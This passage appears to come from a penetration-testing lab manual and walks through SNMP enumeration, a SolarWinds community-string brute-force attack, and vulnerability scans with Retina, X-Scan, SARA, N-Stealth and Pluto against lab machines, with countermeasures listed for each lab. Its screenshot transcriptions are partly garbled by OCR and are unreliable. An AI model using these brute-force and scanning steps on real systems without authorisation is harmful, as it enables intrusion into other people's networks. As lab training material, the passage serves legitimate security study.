1.3.6.1.2.1.25.6.3.1.2.40: 'SpamPal'	
1.1.3.6.1.2.1.25.6.3.1.3.1: .0.0	
1.3.6.1.2.1.25.6.3.1.3.2: .0.0	
.1.3.6.1.2.1.25.6.3.1.3.4: .0.0	
1.3.6.1.2.1.25.6.3.1.3.5: .0.0	
1.13.6.1.2.1.25.6.3.1.3.6: .0.0	
13.5.1.2.1.2.5.6.3.1.3.7. 0.0	
Copy command Run it again	<u></u>
160dst-in 172.16.1.46oid ".0.1"	A Dum
This version contains 197 tools	<u> </u>
Running "160dst-ip 172.16.1.46oid ".0.1""	-
1001 finished its job	
A Your version of viriware Loois is out of date.	

A list of usernames on the target as well as the *Workgroup* name assigned to the target are also provided

🗐 Windows 2000 Server - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🖌 Home 📓 Windows 2000 Professional 💕 Red Hat Linux 🔐 Windows 2000 Server 🕼 Windows 2000 Advanced Server	×
/ netwag	_ 8 ×
File Edit Session Options Help	
Tool Local info Remote info Clipboard	
Soardh Holn Sorn Tunning History	
1.1.3.6.1.4.1.77.1.2.24.0: 10	_
1 2 6 1 4 1 77 1 2 7 1 1 1 1 1 1 1 1 1 1 1 1 4 40 ' Uneval'	
1 3 6 1 4 1 77 1 2 2 5 1 1 5 117 115 101 114 50 'usar2'	
1 3 6 1 4 1 77 1 2 25 1 1 5 117 115 101 114 51+ 'usar3'	
1 3 6 1 4 1 77 1 2 25 1 1 6 65 83 80 78 69 84 ' 'ASDNET'	
1 3 6 1 4 1 77 1 2 25 1 1 10 73 85 83 82 95 87 50 75 65 83 'TITED W2KAS'	
1 3 6 1 4 1 77 1 2 25 1 1 10 73 87 65 77 95 87 50 75 65 83 ' 'INAM W2KAS'	
1 3 6 1 4 1 77 1 2 25 1 1 13 65 100 109 105 110 105 115 116 114 97 116 111 114: 'Administrator'	
1.3.6.1.4.1.77.1.2.25.1.1.14.84.115.73.110.116.101.114.110.101.116.85.115.101.114: 'TsInternetUser'	
1.3.6.1.4.1.77.1.2.25.1.1.15.78.101.116.83.104.111.119.83.101.114.118.105.99.101.115: 'NetShowService:	et i i i
.1.3.6.1.4.1.77.1.2.26.0: 0	
1.3.6.1.4.1.77.1.2.28.0: 0	
1.3.6.1.4.1.77.1.3.1.0: 0	
1.3.6.1.4.1.77.1.3.2.0: 0	
1.3.6.1.4.1.77.1.3.3.0: 692	
1.3.6.1.4.1.77.1.3.4.0: 344	
1.3.6.1.4.1.77.1.3.5.0: 0	
.1.3.6.1.4.1.77.1.3.7.0: 0	
1.3.6.1.4.1.77.1.4.1.0: 'WORKGROUP'	
1.3.6.1.4.1.311.1.7.3.1.1.0: 0	
1.3.6.1.4.1.311.1.7.3.1.2.0: 222910795	
1.3.6.1.4.1.311.1.7.3.1.3.0: 0	
1.3.6.1.4.1.311.1.7.3.1.4.0: 6630205	
1 9 2 1 4 1 911 1 9 9 1 5 0- 25	
Copy command Run it again	
160dst-ip 172.16.1.46oid ".0.1"	Run
P	- I 100
This version contains 197 tools	^
Running "160dst-ip 172.16.1.46oid ".0.1""	
Tool finished its job	-
🚓 Start 🗹 🖉 🛱 🖾 🗁 🖉 🖉 netwag	2:22 PM
A Your version of VMware Tools is out of date.	

***Note:** I cannot stress enough the importance of this tool for either an attacker or a vulnerability/penetration test. The sheer amount of tools available is incredible.

Lab 62: Brute-Force Community Strings

Exploit the SNMP Community Strings: Solar Winds Window

Prerequisites: Target running SNMP

- **Countermeasures:** Secure ACLs, strong community names, Bastion computer, host-based firewalls
- **Description:** The Solar Winds application is one of the few commercial applications in the manual. The functionality of Solar Winds warrants its demonstration. In this lab, Solar Winds is used to perform a brute-force attack against an SNMP device.

Procedure: Install the application, start, set parameters, and execute.

Install the Solar Winds application. In this example, the 30-day demonstration version is used. Double-click on the **SolarWinds2000-PP-Eval** icon.



Install the Solar Winds application with the default settings. The Solar Winds installation will now complete. Click **Finish**.





*Note: Familiarize yourself with each section of Solar Winds. You will notice that this application has a lot to offer, which is probably why it costs a substantial amount of money. I can tell you from personal use that this product is worth every cent.





Continue to scroll through each section. You will see even more options.

SNMP Brute Force Attack will attack a IP address with SNMP queries to try and determine the SNMP read-only and read-write community strings. It does this by trying every possible community string. You can specify the character set to build words from as well as the maximum length of the community strings to try.





T.B.

Click the Security section. Click on SNMP Brute Force Attack.

The SNMP Brute Force Attack utility will start. Click the Settings button.



Click on the Character Set button.

🕸 SNMP Brute Force Attack Preferences 🛛 🛛 🗙			
General Characte	er Set Comm	unity Strings S	NMP)
☐ Stop searchin, Try community stri	g after Read/(ngs up to 5 ch	Only string is foun	d
	ОК	Cancel	Help

From the Character Set, select which set of characters to use.

🕉 SNMP Brute Force Attack Preferences 🛛 🗙				
General Character Set Community Strings SNMP				
Character set to use during attack				
Alpha-Numeric Characters				
Character Set				
ABCDEFGHIJKLMNOPQRSTUVwXYZabcdefghijklmnopqrstuvwxyz 0123456789				
OK Cancel Help				

From the **Community Strings**, specify the *Starting Community String*. Click **OK**.

🕸 SNMP Brute Force Attack Preferences 🛛 🗙		
General Character Set Community Strings SNMP		
Starting Community String Leave this blank to search all possible community strings		
 Rotate from right to left Example : AAAA, AAAB, AAAC, AAAD, AAAE, AAAF 		
C Rotate from left to right Example : AAAA, BAAA, CAAA, DAAA, EAAA, FAAA		
OK Cancel Help		

Enter the target IP address, select the Attack Speed, and click Attack.

🕸 SNMP Brute Force Attack	
Eile Edit Help	
Export Print Settings Help	
Target Hostname or IP Address 192.168.0.7	-
Attack Speed: Very Fast	 Attack
	11.

With this tool the community string will eventually be discovered. The demo version is limited to a few seconds so the results of this example are simulated. The full version of Solar Winds Engineering Edition at the time of this writing is \$1,390.

SNMP Brute Force Attack			
Eile Edit Help			
Export Print Settings He) P		EL ools
Target Hostname or IP Address	192.168.0.7		
Attack Speed: Very Fast	4	•	Pause
Attack running			
Current Community String			
SNMP Queries	348 total at 96.7 per second		
Bandwidth being used	Approximately 49.5 Kbps		
Target device	192.168.0.7		
Target IP Address	192.168.0.7		
Response Time	1 milliseconds		
Packet Drops	0		
DNS Name			
System Name	unknown		
Attack Character Set	Alpha characters		
Maximum community string length	12 characters		
Read/Only Community String	CantHackMe		
ReadA/Write Community String	CantHackMe2		

*Note: When attackers discover the read-only community string, they are able to perform an SNMP walk, which discovers various amounts of information about the network. When the read/write string name is found an attacker can then read the values of the managed device, make configuration changes, and even shut down or reboot the system.

Lab 63: Target Assessment

Assessment of Target Security: Retina

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computers

Description: The Retina application is another commercial application. This application is designed to perform a security assessment of the target. Retina scans ports, traceroutes, performs audits with numerous canned scripts, generates precise reports, provides recommended solutions for security concerns, and much more. For the purposes of this lab, the 30-day demonstration version will be used.

Procedure: Install, set parameters, and execute.

Double-click the Retina4986Demo icon to start the Retina installation.



Install the Retina application with the default options. If the Microsoft Data Access Components (MDAC) are not installed, accept Retina's offer to install them. Click **Next**.



In this example, the MDAC will be installed.



The Retina installation will complete. Accept the default option to **Launch Retina**. Click **Finish**.



Retina is helpful from the beginning by offering a wizard when starting up. In this example, the wizard was canceled by pressing the **Cancel** button.



Retina will start with the IP address of the machine it is installed on in the *Address* block.



Enter the target **IP address** or **Hostname**. Click on the start button *P* or press the **Enter** key.



Retina will scan the target for open ports, any shares, users, services, machine information, and will perform a security audit of the target for known vulnerabilities.

💽 Windows 2000 Professional - VMware Work	station		_ 🗆 🗙	
File Edit View VM Team Windows Help				
A Home R Windows 2000 Professional	🐘 Red Hat Linux 🛛 🚮 R	ed Hat Linux 8 Server 🛛 🕵 Windows 2000 Server 🛛 🚛 Window	s 4 ▶ ×	
Reting - [Upbitled] - EVALUATION VERSION	20. Days Bomaining			
The Site Ham Addree Teals Hale	- 50 Days Kemaining			
He cut view Action Tools Help				
Address: 172.16.1.40	? • ← ⇒ 🛽	⊻ Ճ + − <u>Ն</u> & Ճ D - ?		
Betina Scanner - Default				
Find Find	General	172.016.001.040	▲	
Miner IF 172.016.001.040	Address	172.16.1.40		
Scanner	Report Date	11/18/05 12:37:18 PM		
Tracer	Domain Name	win2000s-v		
	Ping Hesponse	Host Hesponded		
	Avg Ping Response	33 ms		
	Tracorouto	172 16 1 40		
	Audits	172.016.001.040		
	SNMP Servers	public - SNMP default community name		
		Null Session		
	Accounts	mmouse - Password Does Not Expire		
	Accounts	IUSR_WIN2000S-V - Password Does Not Expire		
	Accounts	TsInternetUser - Password Does Not Expire		
	Accounts	Kermit - Password Does Not Expire		
	m 4	Investe systemation of the contract of the base of the	<u> </u>	
🍸 Did you know			-	
Support You can mail technical su	upport questions to <u>http://v</u>	www.eeye.com/support.		
Links				
Scan complete				
🚮 Start 🛛 🙆 🍘 🗊 🖉 Hammer of God L	Jtilities	ows\Retina 🛛 🕼 Retina - [Untitled] - EV 🛛 🕀 🗊 🕮	1:40 PM	
		Q		

In this example, a critical SNMP error is selected and the details of this error are displayed in the lower section of the application, including these areas:

- Description
- Risk Level
- How To Fix
- Related Links
- CVE link (Common Vulnerabilities and Exposures Web site)



*Note: Retina is used by attackers to find faults and exploit them. Retina is used by security administrators to find and correct those same exploits. Among the commercial vulnerability scanners available, Retina is one of the best.

Lab 64: Target Assessment

Assessment of Target Security: X-Scan

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computer, host-based firewalls
 Description: The X-Scan application is designed to perform a security assessment of the target. X-Scan scans ports, traceroutes, performs audits with numerous canned scripts, generates precise reports, and provides recommended solutions for security concerns and much more. X-Scan is basically the free equivalent of Retina (see Lab 63).
 Procedure: Start the application, set the parameters, and execute.

Click on the **xscan_gui** icon to start the X-Scan application.



The X-Scan application starts. Configure the X-Scan application by clicking on **Config** and then clicking on **Scan Parameter**.

🕅 X-Scan v2.3 GUI	×
<u>File C</u> onfig <u>V</u> iew <u>T</u> ools Language <u>H</u> elp	
X-Scan-v2.3 User Manual	^
1. System requirement: Windows 9x/NT4/2000	
2. Introduction:	
X-Scan is a general network vulnerabilities scanner for scanning network vulnerabilities for specific IP address	
tollowing items can be scanuter by multi-threading method. Plug-ins are supportable and GUI or CUI programs are	
SERVER, FTP-SERVER, Sllowing items can be scanned: remote US type and version detection based on TCP/IP	
be provised by a web provport status and port BANNER information, SNMP information, CGI vulnerability, IIS	
inty, SSL vulnerability, SQL-SERVER, FTP-SERVER, SMTP-SERVER, POP3-SERVER,	
ssword pair prob, NT server NETBIOS information, Register information, etc. The result	
3. Components: ry, whose index can be found in index_*.htm which can be browsed by a Web Browser.	
s, the corresponding descriptions and solutions are provided. As to other vulnerabilities,	
xscan_gui.exe — X-Sand "Vulnerability engine" in www.xfocus.org.	
xscan.exe — X-Sci	~
Veodena tut V Car	-

Under the **Basic config** tab, enter the target **IP Address**. Change the default **Skip host when failed to ping** to **Scan always**.

🗊 Config	
Basic config Port Snmp HTTP Dictionary	Proxy
1.Scan range	2.Thread
IP address range:	Maximal number of thread:
Load host list from file	Maximal number of host:
	3.0ther ↓ Display verbose information
	C Skip host when failed to ping
V	 Skip host when no opened port be found Scan always
Load default	OK Cancel

Under the **Port** tab, enter the ports in **Scan port** and **Scan mode** to scan on the target.

🕅 Config			
Basic config Port Snmp H	TP Dictionary Proxy		
1.Scan port:			
1-139,443,445,1080,1433,204	9,3128,3389,5000,7000-7010,80)10,8080,8181	
2.Scan mode:			
TCP	•		
20.6.1			
3.Default port:			
HTTP: 80	RPC: 111		
21	79	-	
FIP: J=	FINGER: 1"		
SMTP: 25	SQL-SERVER: 1433	_	
110			
POP3: 110			
Load default		OK	Cancel

The remaining information may be left at default values unless this is an SNMP assessment, which is configured on the **Snmp** tab. Click **OK**.

Config	_ 🗆 🗙
Basic config Port Imm HTTP Dictionary Proxy	
Sump information	
I Get interfaces infomation	
₩ Get IP information	
Get TCP information	
Get UDP information	
, Get Wins user list	
Load default OK Cancel	

To begin the assessment click the start button \square or click on **File** and then click **Start**. The results are displayed as the assessment executes.

🗐 Windows 2000 Professional - VMware	Workstation					_ 🗆 🗵
File Edit View VM Team Windows	Help					
A Home 🔐 Windows 2000 Profession	🖌 🔐 Red Hat Linux	Red Hat Linux	8 Server	👘 Windows 2000 Server	Windows	
🕅 X-Scan v2.3 GUI						_ 8 ×
File Config View Tools Language Help						
	A 0					
E- 🖳 172.16.1.46 (Windows NT 5.0)	Host	Time(s)	Thread	Current schedule		
B 6 Trace-Route						
- (2) 01 0000 ns - 172.16.1.46 [w2k						
O Port-Status						
25 - SMTP, Simple Mail Transf						
80 - HTTP, World Wide Web						
/00/ - ats3-bos basic overseer p						
155 - Location Service						
A42 Hund Community						
A45 Misman DS						
(i) 2289 Window 2000 mmster						
B NT. Same Parmond		D . 00011		1	1	
Administrator(123)	[172.16.1.46]: Cnecking 7	Fort: 9901"	haria orranaa			<u> </u>
-3 NetBios-Info	[172.16.1.46]: Port 135 i	opened: Location :	Service	I process		
(i) NetServerGetInfo	[172.16.1.46]: Port 139 i	opened: NETBIOS	Session Serv	ice		
D NetRemoteToD	[172.16.1.46]: Port 443 i	opened: HttpS, Sec	ure HTTP			
NetServerTransportEmm	[172.16.1.46]: Port 445 i	opened: Microsoft	-DS			
D NetSessionEmm	[172.16.1.46]: Port 3389	is opened: Windows	2000 remot	e admin		
NetServerEmm	[172.10.1.40]: "Port-stat	is "scan complete, i Sump-Info"	ound 8.			
NetShareEmum	[172.16.1.46]: Checking	Snmp-Password: Pu	blic"			
NetUserEmm	[172.16.1.46]: Checking	Snmp-Password: pr	ivate"			
NetLocalGroupErum	[172.16.1.46]: Checking	Snmp-Password: pr	rivate"			
NetGroupEmm	[172.16.1.46]: Checking	Snmp-Password: Pr	ivate"			
	[172.16.1.46]: Checking '	Snmp-Password: pr	tvatew"			
	[172.16.1.46]: Checking	Snmp-Password: all	private"			
	[172.16.1.46]: Checking	Snmp-Password: see	ret"			
	[172.16.1.46]: Checking	Snmp-Password: wo	ald"			
	[172.16.1.46]: Checking	Snmp-Password: rea	ad"			
	[172.16.1.46]: Checking	Snmp-Password: rea	d_AU"			-1
Complete Active th	read: 0	the production				
🕂 Start 🔄 🎯 🗐 🖉 X-Scan rep	ort - Mi 🕞 E:\X\Windo	ws\xscan	an_gui		*##	4:01 PM
		,			2	

An HTML page displaying an itemized result of the assessment is given by clicking on the green report button \square or by clicking on **View** and then clicking on **Report**.

👰 Windows 2000 Professional - VMware Workstation		_ 🗆 🗵
File Edit View VM Team Windows Help		
Alone 🔐 Windows 2000 Professional 🚯 Red Hat Linux 🖬 Red Hat Linux 8 Server 🕼 Windows 2000 Server	Windows	4 > x
X-Scan report - Microsoft Internet Explorer		
Land - → - @ D AL @ Cauch Contraint @ Mariana B. Ch		1941 1
Address A Children and a state of the state	- 20	Linke »
] Advises [e_] C:(x(windows)(scaling)() (idex_1/2.16.1.46.ind)	- (* GO	June
A-Scan V2.5 report [A-Pocus]		<u> </u>
		_
[Sam Madula]:		
Trace-Route		
Port-Status		
Snmp-Info		
SoL-Vuln		
SQL-Server-Password		
FTP-Password		
NT-Server-Password		
NetBios-Info SMTP.Vulo		
POP3-Password		
HTTP-Vuln		
IIS-Vuln		
BIND-Vuln		
Finger-Vuin Streate-Vuin		
2) Ego. 4 on 1		
[Scan Range]:		
172.16.1.46 - 172.16.1.46		
(Sass Domili)		
locar resurg.		
172.16.1.46: [Detail][Summary Host name: "w2kas", OS: "Windows NT 5.0"]		-
Ø Done Ø Int	ernet	
😹 Start 🔄 🚳 🗊 🖉 X-Scan report - Micros 🔤 E:\X\Windows\xscan 🔞 xscan_gui		3:55 PM
	0.0	

By clicking on the **Details** selection on the Web page reveals the specifics of the results.



Click on individual results to display each vulnerability result. In this example, the **NT Server Password** was selected, which scrolls to the area of the results page for those details. This example shows the following:

- The Administrator password was determined to be **123**.
- The account was last logged into Fri Nov 18 21:48:43 2005.
- The account has logged in a total of 9 times.
- *Note: Keep in mind that attackers look at all data collected. If an Administrator account has only logged in a total of 9 times, this may indicate that the user does not use that server very much or is not logging out and may not dedicate appropriate security measures to keep that server up to date. Even if the password cannot be determined by X-Scan, the fact that this server has port 3389 open indicates other tools may be able to gain access (Lab 59).

👰 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🏫 Home 👔 Windows 2000 Professional 👔, Red Hat Linux 👫 Red Hat Linux 8 Server 👔 Windows 2000 Server 👔 Windows	4 > x
🔁 file:///E:/X/Windows/xscan/log/172.16.1.46.htm#NT-Server-Password - Microsoft Internet Explorer	_8×
Ele Edit View Favorites Tools Help	10
t ⇔Back • → - ③ ② ③ ④ ③ Search ≧ Favorites ③History 🖏 - 🎒	
Address @ file:///E:/X/Windows/xscan/log/172.16.1.46.htm#NT-Server-Password 🔽 🔗 Go	Links »
[NT-Server-Password]	-
A dministrator/123	
Account type: Administrator	
Last logon: GMT Fn Nov 18 21:48:43 2005 Bad nassword count: 0	
Number logons: 9	
USER ID: 0x000001f4, GROUP ID: 0x00000201	
Plugin estagory NT SERVER	
Plugin name: NT-Server-Password	
Plugin author: glacier	
Risk rank: high	
Description: "xfocus" vulnerability search engine "xfocus" exploit search engine	
	_
[NetBios-Info]	
NetServerGetInfo Level 1011	
Host name: "172.16.1.46"	
OS: Windows NT	
Comment:""	
Host type: WORKSTATION SERVER_NT BACKUP_BROWSER	_
gapscarc] ⊡ @ Çi] @ X-Scan report - M] □E:XXWindowstxscan @xscan_gu [@]file:///E:/X/Win (C:@)∰ :	3:57 PM
20	

*Note: X-Scan is an excellent tool to check for vulnerabilities against servers and the price (free) cannot be beat.

Lab 65: Vulnerability Scanner

Perform Vulnerability Assessment: SARA

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

Description: SARA (Security Auditor's Research Assistant) discovers, analyzes, and reports on security vulnerabilities of network-based computers, servers, routers, and firewalls. SARA is built to support the large-scale enterprise model that contains more than 25,000 nodes and is approved for operation in the SANS Top 10 and Top 20 environments. Remember that all commands in Linux are *case sensitive*.

Procedure: Compile, install, execute against target, and review the results.

From the directory containing the compressed files, type **tar** –**zxvf sara**-**6.0.7b.tgz**.

The files will uncompress into a new directory named **sara-6.0.7b**.

Change to the new directory by typing cd sara-6.0.7b and pressing Enter.

The SARA application must be configured for the specific machine it is on. This is done by typing **./configure**.



SARA will now configure to the specific machine it is on.



The next step is to create the SARA file by typing:

./make



The SARA application will now be created.



To execute the SARA application type:

./sara



The SARA application will start in Mozilla.



On the left side of the screen click on Target selection.



For the **Primary Target Selection** enter the target hostname or IP address. In this example the target IP address is 172.16.1.46.

For the **Scanning level selection**, select **Extreme**. Click the **Start the scan** button.



Start the scan

SARA will initialize the scan against the target.



In the status bar on the lower left of the screen you may receive a **Stalled** warning. Be patient as SARA will continue on its own and complete the scan.



Once SARA has completed the scan, the results will be displayed in the browser.

🗐 Red Hat Linux 8 Server - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
😰 Windows 2000 Server 👔 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 🚯 Windows 2000 Professional 👔 Re	∢ → ×
SARA data collection - Konqueror	×
Location Edit View Go Bookmarks Tools Settings Window Help	
@ @ @ @ Ø @ @ @ @ @ @ @ @ @ @ @	\$
Location: 🕖 http://localhost.localdomain:43566/running/sara_run_action.pl	* 1-
O Hijacking : The Complete Toolsbox	
SARA data collection	•
Data collection in progress	
Adding a primary target	
Add-primary: w2kas	
Deleting: wzkas 1122:0DP a XIII offers 1122:0DP	
Deleting: w2kasinetbios-ssn[a][][131\000\000\000\001\143]offers netbios-ssn	
Deleting: w2kas 1128:UDP a x offers 1128:UDP	
Deleting: w2kas domain a x offers domain	
Deleting: w2kas http a offers http	
Deleting: w2Kas microsoft-ds a offers microsoft-ds	
Deleting: wzkasimsuccjajyciojanteanijanteanijotentialiy vulnerable msbic [voloooos][msbic	. may
Deleting: w2kas/778:TCP/all/10/fers 7778:TCP	
Deleting: w2kas 3372:TCP a ERROR\n offers 3372:TCP	
Deleting: w2kas13268:TCP1all110ffers 3268:TCP	
Done.	-
	23:28
A Your version of VMware Tools is out of date.	

You can review the results now or scroll down to the bottom of the results and click **Continue with report and analysis**.

🗿 Red Hat Linux 8 Server - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
😰 Windows 2000 Server 🕼 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 🚯 Windows 2000 Professional 👔 Re	< → ×
SARA data collection - Konqueror	- 8 ×)
Location Edit View Go Bookmarks Tools Settings Window Help	
A A R A S O # B B S S S R R C	Ş.
Location: Attp://localhost.localdomain:43566/running/sara_run_action.pl	¥ 12
O Hijacking : The Complete Toolsbox	
<pre>http://www.normain.com/normaliance/internation</pre>	ata fro tabl
Back to the SARA start page Continue with report and analysis	
http://localhost.localdomain:43566/reporting/analysis.pl	
	23:30
A Your version of VMware Tools is out of date.	

The SARA *Reporting and Analysis* screen will be shown. Select the desired report results. In this example, the **SARA ReportWriter** was selected.



Accept the default settings.

- *Note: SARA allows reports to be saved in other formats as well as the default HTML. Other formats include Comma Delimited (CSV) and Extensible Markup Language (XML).
 - Click the Generate Report button.



The SARA report of the scan results will now be displayed.



By scrolling through the report, you can display various descriptions and charts.

*Note: Initially the SARA report will list the Appendices at the beginning of the report. In this case you can consider the Appendices as a Table of Contents for the report.



By scrolling down the report, specific details are revealed. In this screenshot SARA even identified nonvulnerable services on the target.

👰 Red Hat Lin	ux 8 Server - VMwa	re Workstation						_ 🗆 🗙
File Edit	View VM Team	Windows Help						
	000							
Windows 2	000 Server 🛛 👘 Vil	ndows 2000 Advan	ced Server	🚡 Red Hat Linux 8	Server 🔐 Kinda	wvs 2000 Profes	ssional 📑 Re	∢ → ×
 Sensitive 	Security Informat	ion - Konquero						- 8 X
Location E	dit <u>V</u> iew <u>G</u> o <u>B</u> o	okmarks <u>T</u> ools	<u>S</u> ettings <u>W</u>	indow <u>H</u> elp				
A , (-)	> 🟠 ح 🛛		39		<u>٢</u>			\$
Locat	ion: 🕖 http://loca	alhost.localdoma	in:43566/runr	ning/sara_report_	action.pl			*
🖉 Hijacki	ing : The Complete	Toolsbox						
								٠
			SA	RA Host Details				
Name	IP	NetBios	Netb	ios Domain	Operating	System		
w2kas	172.16.1.46	W2KAS	HACKSYM		Windows 2000			
Non Vulnera afs isa kiz ne ze	ble services s3-bos (7007) akmp (500) ups (636) tbios-dgm (138) phyr-cit (2103)	eklogin (2105 kerberos (88 microsoft-ds netbios-ns (1) (445) 37)	http (80) kpasswd (464) ms-rpc (135) ntp (123)	https (443) Idap (389) ms-wbt (3389) supfiledbg (11)	27)		
Vulnerabiliti	es							
Plu Pnl Pot	Vul g and Play Vulnerabilit P exploitable via buffer tentially vulnerable MS DTC may be vulnerable	Inerability Class/Do y [VU998653] overflow DTC [VU180868] le to buffer overflow	ıta	Severity red yellow	CVE No.	Top20		
Done.	so i e may se vumeras	to barrel overhow				_		
6			8	1 2 3 4	Ø root@localh ost Mozilla-bin ▲	۵) Konquero	•	23:33
Your version of	of VMware Tools is out	of date.						• • • • //

Appendix B of the report is a list of the actual vulnerabilities identified on the target.

👰 Red Hat Linux 8 Server - VMware Workstation					_ 🗆 🗙
File Edit View VM Team Windows Help					
🚯 Windows 2000 Server 🛛 🚯 Windows 2000 Advanced Server 🔹 🚯 Red	Hat Linux 8	Server 🔐 🔐 Vlindo	ws 2000 Profes	sional 🚮 Re	↓ → ×
Sensitive Security Information - Konqueror					- 8 X
Location Edit View Go Bookmarks Tools Settings Window	<u>H</u> elp				
10 4 9 0 50 / 9 0 4 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9		<u>]</u>			Ç.
Location: Attp://localhost.localdomain:43566/running/sa	ra_report_a	ction.pl			* 10
Hijacking : The Complete Toolsbox					
Vulnerabilities					•
Vulnerability Class/Data	Severity	CVE No.	Top20		
Plug and Play Vulnerability (VU998653)	red				
Potentially vulnerable MSDTC [VU180868]	yellow				
MSDTC may be vulnerable to buffer overflow		CVC 2002 1117			
SMB: Null Sessions possible from arbitrary users	yellow	CVE-2002-1117 CVE-2000-1200+	W3		
SMTP could be a mail relay Possible controllers. MS may give a false positive	brown	ARC-2004-0015			
SNMPD available	brown	CVE-1999-0815	U6		
Do you want snmp on Internet (public community) DNS Zone Transfers	brown	CVE-1999-0294 ARC-2004-0003			
DNS will dump domain data to remote users					
False Positives					
<none></none>					
END OF S					
Append	lix C				
Done.	114. C	N7			
	2 4	i root@localh ost Mozilla-bin ▲	Konquero	•	23:34
A Your version of VMware Tools is out of date.				D. C.	

Appendix C reports the vulnerabilities by categories of severity.



Click on the specific vulnerabilities located in Appendix B or C, and SARA will take you to the specific area of the report containing the details of the vulnerability. In this example, the **PnP exploitable via buffer overflow** vulnerability is selected.

SARA provides:

■ A general overview description of the specific vulnerability



- The potential impact
- The possible solution
- References



- Applicable credits
- Other information



Lab 66: Web Server Target Assessment

Assessment of Web Server Security: N-Stealth

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computers

Description: The N-Stealth application is designed to perform a vulnerability assessment on Web servers. N-Stealth includes a database of over 30,000 known exploits and attacks that are run against a target. N-Stealth is designed to check local and remote Web servers.

Procedure: Install, start the application, set the parameters, and execute.

Double-click on the NStealth-Free-5-8b103 icon to start the installation.



The N-Stealth application will initially ask for a Language Selection. Make a selection from the drop-down menu and click on **OK**.

Install the N-Stealth application with the default options. The installation of N-Stealth will complete. Click **Finish**.



Double-click the N-Stealth Free Edition icon to start the application.



The N-Stealth application will start and ask to verify the *language* choice. Select the option **Set as my default language** so this will not occur the next time the application starts. Click **OK**.



The *Security Scanner* screen will appear. Enter the target **IP Address** or **Hostname** in the *Host Address* field. Click on **Start Scan**.



N-Stealth will ask if you want to add this target to the *host list*? Click Yes.



The scan will initiate against the target. The free version includes more than 20,000 exploits while the paid version includes more than 30,000.



Once the scan completes, the *N-Stealth Report Manager* will appear. Click on the report and then click the **Summary** button.



An *N-Stealth Scanning Results Summary* report for the scan will appear listing the overall results of the scan. N-Stealth offers the ability for reports to be generated in either HTML or XML format. For this example, click the **Generate HTML** button.



The *Report Generation* screen appears. Verify your HTML format selection, accept the default location for the report, and enter any specific custom notes to be included in the report. Click **OK**.



The *Report Generator* will create the report and display an information window. Click **OK**.

Windows 2000 Pr	ofessional - VMware Workstation	
Edit View	VM Team Windows Help	
0 0 0		
Hame 🔐 Wind	ows 2000 Professional 🔐 Red Hat Linux: 👔 Red Hat Linux & Server 👔 Windows 2000 Ser	ver 🔐 Windows 4 🕨
<u>.</u>	J.	
#		
Deskt	oos 	
	Stealth HTTP Security Scanner - Free Edition	
Computer		
(10) 80	Report Generation	ALL AL MARK
Network.	Choose the desired format. File Location Choose a different liename and location (if applic	able)
- Harton	C. Generale a VMI. Record	8
3	, deterate a Cele Liebon	
cycle Bin N	Custom Notes (to be included in the rep Report Generator	
	Virtually Hacking Lab 70 N Stealth-	
13	report deceased by generated.	
Second	OK.	
xplorer		
a		
JanSpy		
2		
Martine	N Staalth Sacurit	v Seannar
0	N-Stalker	B FREE Edays
10 10		
netNT.dli		
Start 3 6	Call E-W/Windows/W-Stealth	4:00 4:10P
		0. mm

Double-click the report from the directory N-Stealth saved the report to.



The N-Stealth report will open in the Web browser. Any Custom Notes entered prior to the scan will be displayed in the **Notes** section.


By scrolling down the screen the specifics of the screen are shown, including:

- The Vulnerability Name
- The Risk Level (High, Medium, Low)
- Bugtraq ID number
- CVE ID
- An HTML link to the target demonstrating the exploit

🖉 Windows 2000 Professional - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🚡 Hone 📑 Windows 2000 Professional 📑 Red Hat Linux 🚡 Red Hat Linux 8 Server 📑 Windows 2000 Server 📑 Windows	
File Edit Wew Favorites Tools Help	
← Back - → - ② ⑦ ⑦ ⑦ Search Tai Favorites ③History 🖓 - ④	
Address C:/Program Files/N-Stealth Free Edition/reports/172.16.1.46_1132351947.html	Links »
Vulnerabilities List	-
High Level Vulnerabilities	
No High Critical Vulnerabilities found.	
Medium Level Vulnerabilities	
Common WinCGI Vulnerability/Exploit	
Risk Level: Medium Bugtrag ID: 0	
CVE ID: CVE-MAP-NOMATCH	
Location: http://172.16.1.46/samples/details.idq	
Vulnerability details and fix recommendations are available on commercial version.	
Common WinCGI Vulnerability/Exploit	
Risk Level: Medium	
Bugtrag ID: 0	
Location: http://172.16.1.46/cgi-bin/samples/details.idu	
Vulnerability details and fix recommendations are available on commercial version.	-
Done My Computer	<u> </u>
😹 Start 🛛 🖉 🕼 🔄 🗠 E: XX Windows (N 🕅 N-Stealth HTTP 5 🔄 C: (Program Files) 🖗 N-Stealth Repor 🔇	4:20 PM
 2c	

*Note: Many times the HTML link will not provide anything useful, but I can tell you from experience with this application that when you receive this many hits on a target, the target itself has not been updated in quite a while. It should be fairly easy to compromise.

Lab 67: Vulnerability Scanner

Exploit Data from Target Computer: Pluto



Prerequisites: None

Countermeasures: Secure ACLs, Bastion computers

Description: An overall security scanner, including a multithreaded port scanner, Common Gateway Interface (CGI) scanner, port fingerprinting, Microsoft Structured Query Language (MSSQL) audit, FTP audits, SMTP audits, Network Basic Input/Output System (NetBIOS) audits, and password audits.

Procedure: Start, set the parameters, and execute.

Open the **audits.ini** file.



Enter the correct path the *.audit files and save.

File Edit View VH Team Windows Help	🔊 Windows 2000 Professional - VMware Workstation	_ 🗆 🗙
Image: Start Star	File Edit View VM Team Windows Help	
Horn Windows 2000 Professional Ped Het Linux Ped Het Linux & Server Windows 2000 Server Windows 2000 Server EXX.Windows pluto Image: Server Windows 2000 Server Windows 2000 Server Windows 2000 Server File Edit Wew Favorities Todas Help Image: Server Search File File Image: Server Search File Search File Image: Search File Search File Search File Image: Search File Search File Search File Search Search File Image: Search File Search File Search File Search Search Search Search		
